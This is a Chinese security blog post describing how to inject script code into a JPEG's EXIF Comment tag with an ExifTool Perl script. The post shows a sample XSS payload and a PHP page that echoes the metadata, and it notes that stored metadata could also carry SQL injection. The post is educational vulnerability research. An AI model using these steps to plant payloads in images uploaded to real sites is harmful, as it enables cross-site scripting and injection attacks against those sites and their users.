注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

碳基体

http://weibo.com/tanjiti

 
 
 
 
 

日志

 
 

EXIF元数据注入  

2014-01-13 22:15:43|  分类: web app security |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

之前在《图片攻击-BMP图片中注入恶意JS代码》一文中介绍了如何在BMP格式的图片里注入JS代码,使得BMP图片即可以正常显示同时也能运行其中的JS代码,本质就是在不破坏图片格式的情况下在图片中插入代码。前提是对图片格式超级熟悉。

其实不熟悉图片格式也不要紧,可爱的程序员们已经为我们提供了相当赞的图片元数据编辑器了,我们可以利用这些工具来在图片中注入有趣的代码。

今天要介绍的就是如何利用ExifTool工具在图片中注入代码。
一、安装ExifTool
首先,安装ExifTool工具。ExifTool为perl模块,是跨平台的,为了不累赘描述,本文以linux安装为例,更多平台的安装方法可以查看官网描述

wget http://www.sno.phy.queensu.ca/~phil/exiftool/Image-ExifTool-9.46.tar.gz

tar zxvf Image-ExifTool-9.46.tar.gz 
cd Image-ExifTool-9.46
perl Makefile.PL 
make test
sudo make install

二、注入代码
接着我们使用ExifTool的Image::ExifTool模块来在图片中注入代码
Image::ExifTool的更多使用方法可以查看

perldoc Image::ExifTool


vim modifyIMG.pl


#!/usr/bin/perl -w

use Image::ExifTool qw(:Public);
die "need the filename and the payload (e.g $0 a.jpg \'<script>alert(\"xss\")</script>\') \n" if $#ARGV != 1 ;
my $file = shift;


my $exifTool = new Image::ExifTool;
my $info = $exifTool->ImageInfo($file);

print "Get tags***********************************************************************\n";
my @tags = $exifTool->GetTagList($info);
foreach(@tags){
my $value = $exifTool->GetValue($_);
print $_," : ",$value,"\n";
}

print "Add Comment Tag******************************************************************\n";
$payload = shift;
$exifTool->SetNewValue('Comment',$payload);
$exifTool->WriteInfo($file);

print "After Modify**********************************************************************\n";
my $newVal = $exifTool->GetNewValues('Comment');
print "Comment : ",$newVal,"\n";


运行脚本,脚本有两个参数,一个是原始图片,一个是注入代码。

-bash-4.2# ./modifyIMG.pl image/orig.img '<script>alert("tanjiti")</script>'
Get tags***********************************************************************
YCbCrSubSampling : YCbCr4:2:0 (2 2)
FileAccessDate : 2014:01:13 06:01:29-08:00
FileModifyDate : 2014:01:13 06:01:29-08:00
ImageWidth : 455
EncodingProcess : Baseline DCT, Huffman coding
ResolutionUnit : inches
ColorComponents : 3
FileSize : 53 kB
BitsPerSample : 8
YResolution : 96
MIMEType : image/jpeg
FileType : JPEG
FileInodeChangeDate : 2014:01:13 06:01:29-08:00
Comment : tanjiti
JFIFVersion : 1.01
ExifToolVersion : 9.46
FilePermissions : rw-r--r--
Directory : image
FileName : orig.img
ImageHeight : 720
XResolution : 96
ImageSize : 455x720
Add Comment Tag******************************************************************
After Modify**********************************************************************
Comment : <script>alert("tanjiti")</script>

本例在图片注释标签中Comment注入代码

三、验证注入
接下来,使用PHP代码验证代码注入效果

vim /var/www/tanjiticom/readIMG.php

<?php
$image = "orig.img";
$exif = exif_read_data($image,0,true);
foreach ($exif as $key => $section){
foreach ($section as $name => $val){
echo "$key.$name: $val <br/>";
}
}
?>

EXIF元数据中注入 - 碳基体 - 碳基体
 
四、漏洞场景

存在会提取图片元数据以供后续处理的图片上传模块,如果将图片元数据回显在页面,则可以构造XSS。如果将图片元数据存入数据库,则可以构造SQL注入。



参考:
http://www.sno.phy.queensu.ca/~phil/exiftool/ExifTool.html
  评论这张
 
阅读(1139)| 评论(0)
推荐

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017